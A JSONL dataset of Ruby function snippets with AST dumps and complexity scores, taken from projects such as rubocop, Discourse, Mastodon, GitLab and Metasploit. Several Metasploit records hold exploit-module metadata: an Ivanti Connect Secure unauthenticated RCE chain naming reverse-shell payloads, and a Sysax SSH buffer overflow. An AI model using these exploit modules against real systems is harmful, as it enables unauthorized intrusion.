{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/alias.rb","start_line":66,"raw_source":"def autocorrect(corrector, node)\n          if node.send_type?\n            correct_alias_method_to_alias(corrector, node)\n          elsif scope_type(node) == :dynamic || style == :prefer_alias_method\n            correct_alias_to_alias_method(corrector, node)\n          else\n            correct_alias_with_symbol_args(corrector, node)\n          end\n        end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[null,\"correct_alias_method_to_alias\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope_type\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"dynamic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"prefer_alias_method\"]}]}]},{\"type\":\"send\",\"children\":[null,\"correct_alias_to_alias_method\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_alias_with_symbol_args\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"b9564108-4cf3-4882-9656-bff3838ba762"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/config/assets.rb","start_line":43,"raw_source":"def initialize(*, **options)\n        super()\n\n        @base_config = Hanami::Assets::Config.new(**options)\n\n        configure_defaults\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@base_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hanami\"]},\"Assets\"]},\"Config\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"configure_defaults\"]}]}]}","id":"59fab9c1-71ac-46dc-a08b-1964712327fb"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/promotion.rb","start_line":105,"raw_source":"def self.tl2_met?(user)\n    stat = user.user_stat\n    return false if stat.topics_entered < SiteSetting.tl2_requires_topics_entered\n    return false if stat.posts_read_count < SiteSetting.tl2_requires_read_posts\n    return false if (stat.time_read / 60) < SiteSetting.tl2_requires_time_spent_mins\n    return false if ((Time.now - user.created_at) / 60) < SiteSetting.tl2_requires_time_spent_mins\n    return false if stat.days_visited < SiteSetting.tl2_requires_days_visited\n    return false if stat.likes_received < SiteSetting.tl2_requires_likes_received\n    return false if stat.likes_given < SiteSetting.tl2_requires_likes_given\n    return false if stat.calc_topic_reply_count! < SiteSetting.tl2_requires_topic_reply_count\n\n    true\n  end","complexity_score":43.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tl2_met?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_stat\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"topics_entered\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl2_requires_topics_entered\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"posts_read_count\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl2_requires_read_posts\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"time_read\"]},\"/\",{\"type\":\"int\",\"children\":[60]}]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl2_requires_time_spent_mins\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"created_at\"]}]}]},\"/\",{\"type\":\"int\",\"children\":[60]}]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl2_requires_time_spent_mins\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"days_visited\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl2_requires_days_visited\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"likes_received\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl2_requires_likes_received\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"likes_given\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl2_requires_likes_given\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"calc_topic_reply_count!\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl2_requires_topic_reply_count\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"c4a821df-afb1-4c61-aaed-bd51c373ba81"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution',\n        'Description' => %q{\n          This module chains a server side request forgery (SSRF) vulnerability (CVE-2024-21893) and a command injection\n          vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti\n          Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and\n          22.x are vulnerable, prior to the vendor patch released on Feb 1, 2024. It is unknown if unsupported versions\n          8.x and below are also vulnerable.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'sfewer-r7', # MSF Exploit & Rapid7 Analysis\n        ],\n        'References' => [\n          ['CVE', '2024-21893'], # The SSRF as Ivanti reported it, but it is actually an existing vuln in the library xmltooling.\n          ['CVE', '2023-36661'], # The original SSRF CVE id in xmltooling, as disclosed by Shibboleth.\n          ['CVE', '2024-21887'], # The command injection vulnerability (Ivanti grouped several under one CVE).\n          ['URL', 'https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis'], # Rapid7 Analysis of CVE-2024-21893\n          ['URL', 'https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis'], # Rapid7 Analysis of CVE-2024-21887\n          ['URL', 'https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure'],\n          ['URL', 'https://shibboleth.net/community/advisories/secadv_20230612.txt']\n        ],\n        'DisclosureDate' => '2024-01-31',\n        'Platform' => %w[linux unix],\n        'Arch' => [ARCH_CMD],\n        'Privileged' => true, # Code execution as root.\n        'Targets' => [\n          # Tested against Ivanti Connect Secure version 22.3R1 (build 1647) with the following payloads:\n          # cmd/linux/http/x64/meterpreter/reverse_tcp\n          # cmd/linux/http/x64/shell/reverse_tcp\n          # cmd/linux/http/x86/shell/reverse_tcp\n          # cmd/unix/python/meterpreter/reverse_tcp\n          # cmd/unix/reverse_bash\n          # cmd/unix/reverse_python\n          ['Automatic', {}]\n        ],\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true,\n          'FETCH_WRITABLE_DIR' => '/tmp'\n        },\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ivanti Connect Secure Unauthenticated Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module chains a server side request forgery (SSRF) vulnerability (CVE-2024-21893) and a command injection\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti\\n\"]},{\"type\":\"str\",\"children\":[\"          Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and\\n\"]},{\"type\":\"str\",\"children\":[\"          22.x are vulnerable, prior to the vendor patch released on Feb 1, 2024. It is unknown if unsupported versions\\n\"]},{\"type\":\"str\",\"children\":[\"          8.x and below are also vulnerable.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sfewer-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-21893\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-36661\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-21887\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://shibboleth.net/community/advisories/secadv_20230612.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-01-31\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FETCH_WRITABLE_DIR\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]}]}","id":"a86c08e0-eabd-40af-90ff-c6819fa75a43"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/web/web_console.rb","start_line":111,"raw_source":"def tab_complete(cmd)\n    if(self.console.active_session)\n      return self.console.active_session.console.tab_complete(cmd)\n    end\n    self.console.tab_complete(cmd)\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tab_complete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"console\"]},\"active_session\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"console\"]},\"active_session\"]},\"console\"]},\"tab_complete\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"console\"]},\"tab_complete\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"9a233097-dea3-4920-b3d3-260b9865d53d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/annual_report/percentiles.rb","start_line":4,"raw_source":"def self.prepare(year)\n    AnnualReport::StatusesPerAccountCount.connection.exec_query(<<~SQL.squish, nil, [year, Mastodon::Snowflake.id_at(DateTime.new(year).beginning_of_year), Mastodon::Snowflake.id_at(DateTime.new(year).end_of_year)])\n      INSERT INTO annual_report_statuses_per_account_counts (year, account_id, statuses_count)\n      SELECT $1, account_id, count(*)\n      FROM statuses\n      WHERE id BETWEEN $2 AND $3\n      AND (local OR uri IS NULL)\n      GROUP BY account_id\n      ON CONFLICT (year, account_id) DO NOTHING\n    SQL\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prepare\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AnnualReport\"]},\"StatusesPerAccountCount\"]},\"connection\"]},\"exec_query\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO annual_report_statuses_per_account_counts (year, account_id, statuses_count)\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT $1, account_id, count(*)\\n\"]},{\"type\":\"str\",\"children\":[\"FROM statuses\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id BETWEEN $2 AND $3\\n\"]},{\"type\":\"str\",\"children\":[\"AND (local OR uri IS NULL)\\n\"]},{\"type\":\"str\",\"children\":[\"GROUP BY account_id\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT (year, account_id) DO NOTHING\\n\"]}]},\"squish\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"year\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"Snowflake\"]},\"id_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"year\"]}]},\"beginning_of_year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"Snowflake\"]},\"id_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"year\"]}]},\"end_of_year\"]}]}]}]}]}","id":"392fa53b-85d3-4dec-945a-c7d80a573304"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/packages_helper.rb","start_line":10,"raw_source":"def package_registry_instance_url(registry_type)\n    expose_url(\"api/#{::API::API.version}/packages/#{registry_type}\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"package_registry_instance_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"registry_type\"]}]},{\"type\":\"send\",\"children\":[null,\"expose_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"api/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"API\"]},\"version\"]}]},{\"type\":\"str\",\"children\":[\"/packages/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry_type\"]}]}]}]}]}","id":"e1ce2760-0688-4784-a131-256af72c7f1b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/aggregator.rb","start_line":105,"raw_source":"def cmd_aggregator_save(*args)\n        # if we are logged in, save session details to aggregator.yaml\n        if !args.empty? || args[0] == '-h'\n          usage_save\n          return\n        end\n\n        if args[0]\n          usage_save\n          return\n        end\n\n        group = 'default'\n\n        if (@host && !@host.empty?) && (@port && !@port.empty? && @port.to_i > 0)\n          config = { group.to_s => { 'server' => @host, 'port' => @port } }\n          ::File.open(Aggregator_yaml.to_s, 'wb') { |f| f.puts YAML.dump(config) }\n          print_good(\"#{Aggregator_yaml} created.\")\n        else\n          print_error('Missing server/port - reconnect and then try again.')\n          return\n        end\n      end","complexity_score":37.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_aggregator_save\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"-h\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"usage_save\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"usage_save\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"str\",\"children\":[\"default\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]},\"empty?\"]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"to_s\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"server\"]},{\"type\":\"ivar\",\"children\":[\"@host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"port\"]},{\"type\":\"ivar\",\"children\":[\"@port\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aggregator_yaml\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aggregator_yaml\"]}]},{\"type\":\"str\",\"children\":[\" created.\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Missing server/port - reconnect and then try again.\"]}]},{\"type\":\"return\",\"children\":[]}]}]}]}]}","id":"c21d4976-2c75-4ccd-abb0-c36eeafdab40"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/features/top_menu_item_spec.rb","start_line":37,"raw_source":"def has_menu_items?(*labels)\n    within \".op-app-header\" do\n      labels.each do |l|\n        expect(page).to have_link(l)\n      end\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_menu_items?\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"labels\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\".op-app-header\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_link\",{\"type\":\"lvar\",\"children\":[\"l\"]}]}]}]}]}]}","id":"2f4160d7-d6a9-4ca4-9f6d-6bde67aca66f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/abstract_reference_filter.rb","start_line":51,"raw_source":"def identifier(match_data)\n          symbol = symbol_from_match(match_data)\n\n          parse_symbol(symbol, match_data) if object_class.reference_valid?(symbol)\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"identifier\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"symbol\",{\"type\":\"send\",\"children\":[null,\"symbol_from_match\",{\"type\":\"lvar\",\"children\":[\"match_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_class\"]},\"reference_valid?\",{\"type\":\"lvar\",\"children\":[\"symbol\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_symbol\",{\"type\":\"lvar\",\"children\":[\"symbol\"]},{\"type\":\"lvar\",\"children\":[\"match_data\"]}]},null]}]}]}","id":"623b16b2-da5f-41b3-ae78-490a17012649"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/discussion_on_diff.rb","start_line":36,"raw_source":"def on_merge_request_commit?\n    for_merge_request? && commit_id.present?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_merge_request_commit?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_merge_request?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit_id\"]},\"present?\"]}]}]}","id":"ea14fb55-ec15-480d-a2cb-7f9f14764611"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ssh/sysax_ssh_username.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',\n        'Description' => %q{\n          This module exploits a vulnerability found in Sysax's SSH service.  By\n          supplying a long username, the SSH server will copy that data on the stack\n          without proper bounds checking, therefore allowing remote code execution\n          under the context of the user.  Please note that previous versions\n          (before 5.53) are also affected by this bug.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Craig Freyman', # Initial discovery, PoC\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2012-10060'],\n          ['OSVDB', '79689'],\n          ['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],\n          ['EDB', '18535']\n        ],\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\\x3a\",\n          'StackAdjustment' => -3500\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => 'seh'\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            